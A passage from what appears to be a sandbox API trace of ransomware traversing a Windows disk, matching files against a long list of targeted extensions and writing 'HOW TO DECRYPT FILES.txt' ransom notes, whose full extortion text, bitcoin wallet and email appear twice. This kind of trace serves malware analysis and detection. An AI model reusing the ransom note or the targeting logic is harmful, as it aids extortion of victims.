ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.007] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.008] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.008] CloseHandle (hObject=0x84) returned 1 [0057.009] lstrcatA (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="desktop.ini" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" [0057.009] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.ems") returned 0 [0057.026] lstrlenA (lpString="*.ems") returned 5 [0057.026] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.db") returned 0 [0057.026] lstrlenA (lpString="*.db") returned 4 [0057.026] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.dbf") returned 0 [0057.026] lstrlenA (lpString="*.dbf") returned 5 [0057.026] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.myox") returned 0 [0057.026] lstrlenA (lpString="*.myox") returned 6 [0057.026] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.myo") returned 0 [0057.026] lstrlenA (lpString="*.myo") returned 5 [0057.026] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.qbw") returned 0 [0057.026] lstrlenA (lpString="*.qbw") returned 5 [0057.026] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.qbb") returned 0 [0057.026] lstrlenA (lpString="*.qbb") returned 5 [0057.026] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.qbm") returned 0 [0057.026] lstrlenA (lpString="*.qbm") returned 5 [0057.027] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.qbo") returned 0 [0057.027] lstrlenA (lpString="*.qbo") returned 5 [0057.027] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.qbx") returned 0 [0057.027] lstrlenA (lpString="*.qbx") returned 5 [0057.027] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.qba") returned 0 [0057.027] lstrlenA (lpString="*.qba") returned 5 [0057.027] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.qby") returned 0 [0057.027] lstrlenA (lpString="*.qby") returned 5 [0057.027] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.qbj") returned 0 [0057.027] lstrlenA (lpString="*.qbj") returned 5 [0057.027] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.ofx") returned 0 [0057.027] lstrlenA (lpString="*.ofx") returned 5 [0057.027] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.qif") returned 0 [0057.027] lstrlenA (lpString="*.qif") returned 5 [0057.027] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.mye") returned 0 [0057.027] lstrlenA (lpString="*.mye") returned 5 [0057.027] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.mbox") returned 0 [0057.027] lstrlenA (lpString="*.mbox") returned 6 [0057.027] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.eml") returned 0 [0057.027] lstrlenA (lpString="*.eml") returned 5 [0057.028] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.pst") returned 0 [0057.028] lstrlenA (lpString="*.pst") returned 5 [0057.028] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.ost") returned 0 [0057.028] lstrlenA (lpString="*.ost") returned 5 [0057.028] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.idx") returned 0 [0057.028] lstrlenA (lpString="*.idx") returned 5 [0057.028] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.dbx") returned 0 [0057.028] lstrlenA (lpString="*.dbx") returned 5 [0057.028] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.sql") returned 0 [0057.028] lstrlenA (lpString="*.sql") returned 5 [0057.028] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.mdb") returned 0 [0057.028] lstrlenA (lpString="*.mdb") returned 5 [0057.028] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.fdb") returned 0 [0057.028] lstrlenA (lpString="*.fdb") returned 5 [0057.028] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.wab") returned 0 [0057.028] lstrlenA (lpString="*.wab") returned 5 [0057.028] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.dat") returned 0 [0057.028] lstrlenA (lpString="*.dat") returned 5 [0057.028] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.txt") returned 0 [0057.028] lstrlenA (lpString="*.txt") returned 5 [0057.029] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.jpeg") returned 0 [0057.029] lstrlenA (lpString="*.jpeg") returned 6 [0057.029] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.jpg") returned 0 [0057.029] lstrlenA (lpString="*.jpg") returned 5 [0057.029] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.png") returned 0 [0057.029] lstrlenA (lpString="*.png") returned 5 [0057.029] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.php") returned 0 [0057.029] lstrlenA (lpString="*.php") returned 5 [0057.029] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.cs") returned 0 [0057.029] lstrlenA (lpString="*.cs") returned 4 [0057.029] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.cpp") returned 0 [0057.029] lstrlenA (lpString="*.cpp") returned 5 [0057.029] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.rar") returned 0 [0057.029] lstrlenA (lpString="*.rar") returned 5 [0057.029] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.zip") returned 0 [0057.029] lstrlenA (lpString="*.zip") returned 5 [0057.029] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.html") returned 0 [0057.029] lstrlenA (lpString="*.html") returned 6 [0057.029] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.htm") returned 0 [0057.029] lstrlenA (lpString="*.htm") returned 5 [0057.029] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.xlsx") returned 0 [0057.029] lstrlenA (lpString="*.xlsx") returned 6 [0057.030] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.xls") returned 0 [0057.030] lstrlenA (lpString="*.xls") returned 5 [0057.030] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.mp4") returned 0 [0057.030] lstrlenA (lpString="*.mp4") returned 5 [0057.030] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.ppt") returned 0 [0057.030] lstrlenA (lpString="*.ppt") returned 5 [0057.030] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.pptx") returned 0 [0057.030] lstrlenA (lpString="*.pptx") returned 6 [0057.030] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.doc") returned 0 [0057.030] lstrlenA (lpString="*.doc") returned 5 [0057.030] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.dot") returned 0 [0057.030] lstrlenA (lpString="*.dot") returned 5 [0057.030] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.docx") returned 0 [0057.030] lstrlenA (lpString="*.docx") returned 6 [0057.030] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.7z") returned 0 [0057.030] lstrlenA (lpString="*.7z") returned 4 [0057.030] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.tar") returned 0 [0057.030] lstrlenA (lpString="*.tar") returned 5 [0057.030] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.bz2") returned 0 [0057.030] lstrlenA (lpString="*.bz2") returned 5 [0057.030] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.gz") returned 0 [0057.031] lstrlenA (lpString="*.gz") returned 4 [0057.031] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.mkv") returned 0 [0057.031] lstrlenA (lpString="*.mkv") returned 5 [0057.031] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.eml") returned 0 [0057.031] lstrlenA (lpString="*.eml") returned 5 [0057.031] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.msg") returned 0 [0057.032] lstrlenA (lpString="*.msg") returned 5 [0057.032] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.edb") returned 0 [0057.032] lstrlenA (lpString="*.edb") returned 5 [0057.032] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.accdb") returned 0 [0057.032] lstrlenA (lpString="*.accdb") returned 7 [0057.032] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.odb") returned 0 [0057.032] lstrlenA (lpString="*.odb") returned 5 [0057.032] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.java") returned 0 [0057.032] lstrlenA (lpString="*.java") returned 6 [0057.032] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.asm") returned 0 [0057.032] lstrlenA (lpString="*.asm") returned 5 [0057.032] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.pfx") returned 0 [0057.032] lstrlenA (lpString="*.pfx") returned 5 [0057.032] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.pem") returned 0 [0057.032] lstrlenA (lpString="*.pem") returned 5 [0057.032] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.p12") returned 0 [0057.032] lstrlenA (lpString="*.p12") returned 5 [0057.032] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.gpg") returned 0 [0057.032] lstrlenA (lpString="*.gpg") returned 5 [0057.032] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.vsd") returned 0 [0057.032] lstrlenA (lpString="*.vsd") returned 5 [0057.032] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.odg") returned 0 [0057.033] lstrlenA (lpString="*.odg") returned 5 [0057.033] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.raw") returned 0 [0057.033] lstrlenA (lpString="*.raw") returned 5 [0057.033] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.nef") returned 0 [0057.033] lstrlenA (lpString="*.nef") returned 5 [0057.033] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.svg") returned 0 [0057.033] lstrlenA (lpString="*.svg") returned 5 [0057.033] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.psd") returned 0 [0057.033] lstrlenA (lpString="*.psd") returned 5 [0057.033] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.vmx") returned 0 [0057.033] lstrlenA (lpString="*.vmx") returned 5 [0057.033] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.vmdk") returned 0 [0057.033] lstrlenA (lpString="*.vmdk") returned 6 [0057.033] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.vdi") returned 0 [0057.033] lstrlenA (lpString="*.vdi") returned 5 [0057.033] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.lay6") returned 0 [0057.033] lstrlenA (lpString="*.lay6") returned 6 [0057.033] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.mpeg") returned 0 [0057.033] lstrlenA (lpString="*.mpeg") returned 6 [0057.033] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.djvu") returned 0 [0057.033] lstrlenA (lpString="*.djvu") returned 6 [0057.034] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.tiff") returned 0 [0057.034] lstrlenA (lpString="*.tiff") returned 6 [0057.034] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.backup") returned 0 [0057.034] lstrlenA (lpString="*.backup") returned 8 [0057.034] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.pdf") returned 0 [0057.034] lstrlenA (lpString="*.pdf") returned 5 [0057.034] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.cert") returned 0 [0057.034] lstrlenA (lpString="*.cert") returned 6 [0057.034] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.docm") returned 0 [0057.034] lstrlenA (lpString="*.docm") returned 6 [0057.034] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.xlsm") returned 0 [0057.034] lstrlenA (lpString="*.xlsm") returned 6 [0057.034] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.dwg") returned 0 [0057.034] lstrlenA (lpString="*.dwg") returned 5 [0057.034] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.nd") returned 0 [0057.034] lstrlenA (lpString="*.nd") returned 4 [0057.034] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.tlg") returned 0 [0057.034] lstrlenA (lpString="*.tlg") returned 5 [0057.034] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.lgb") returned 0 [0057.034] lstrlenA (lpString="*.lgb") returned 5 [0057.035] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.mov") returned 0 [0057.035] lstrlenA (lpString="*.mov") returned 5 [0057.035] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.xdw") returned 0 [0057.035] lstrlenA (lpString="*.xdw") returned 5 [0057.035] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.ods") returned 0 [0057.035] lstrlenA (lpString="*.ods") returned 5 [0057.035] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.wav") returned 0 [0057.035] lstrlenA (lpString="*.wav") returned 5 [0057.035] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.mp3") returned 0 [0057.035] lstrlenA (lpString="*.mp3") returned 5 [0057.035] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.aiff") returned 0 [0057.035] lstrlenA (lpString="*.aiff") returned 6 [0057.035] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.flac") returned 0 [0057.035] lstrlenA (lpString="*.flac") returned 6 [0057.035] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.m4a") returned 0 [0057.035] lstrlenA (lpString="*.m4a") returned 5 [0057.035] PathMatchSpecA (pszFile="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", pszSpec="*.csv") returned 0 [0057.035] lstrlenA (lpString="*.csv") returned 5 [0057.035] FindNextFileA (in: hFindFile=0x4f6100, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0057.036] FindClose (in: hFindFile=0x4f6100 | out: hFindFile=0x4f6100) returned 1 [0057.036] FindNextFileA (in: hFindFile=0x4f5028, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0057.036] FindClose (in: hFindFile=0x4f5028 | out: hFindFile=0x4f5028) returned 1 [0057.036] FindNextFileA (in: hFindFile=0x4f4e38, lpFindFileData=0x18fe38 | out: lpFindFileData=0x18fe38*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520024, dwReserved1=0x3, cFileName="Boot", cAlternateFileName="")) returned 1 [0057.036] lstrcmpA (lpString1=".", lpString2="Boot") returned -1 [0057.036] lstrcmpA (lpString1="..", lpString2="Boot") returned -1 [0057.036] PathFindFileNameA (pszPath="C:\\*.*") returned="*.*" [0057.036] lstrcatA (in: lpString1="C:\\", lpString2="Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0057.036] lstrlenA (lpString="C:\\Boot") returned 7 [0057.036] FindFirstFileA (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4ff8, dwReserved1=0x4f4ff3, cFileName=".", cAlternateFileName="")) returned 0x4f6020 [0057.037] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.037] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.037] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.037] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.037] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x90cd45e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x90cd45e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0057.037] PeekMessageA (in: lpMsg=0x18fcc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fcc4) returned 0 [0057.037] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BCD") returned 1 [0057.037] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BCD") returned 1 [0057.037] lstrcmpiA (lpString1="", lpString2="BCD") returned -1 [0057.037] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.037] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0057.037] PathAddBackslashA (in: pszPath="C:\\Boot\\" | out: pszPath="C:\\Boot\\") returned="" [0057.037] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\HOW TO DECRYPT FILES.txt" [0057.037] GetFileAttributesA (lpFileName="C:\\Boot\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\how to decrypt files.txt")) returned 0xffffffff [0057.037] CreateFileA (lpFileName="C:\\Boot\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x74 [0057.038] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.038] WriteFile (in: hFile=0x74, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) 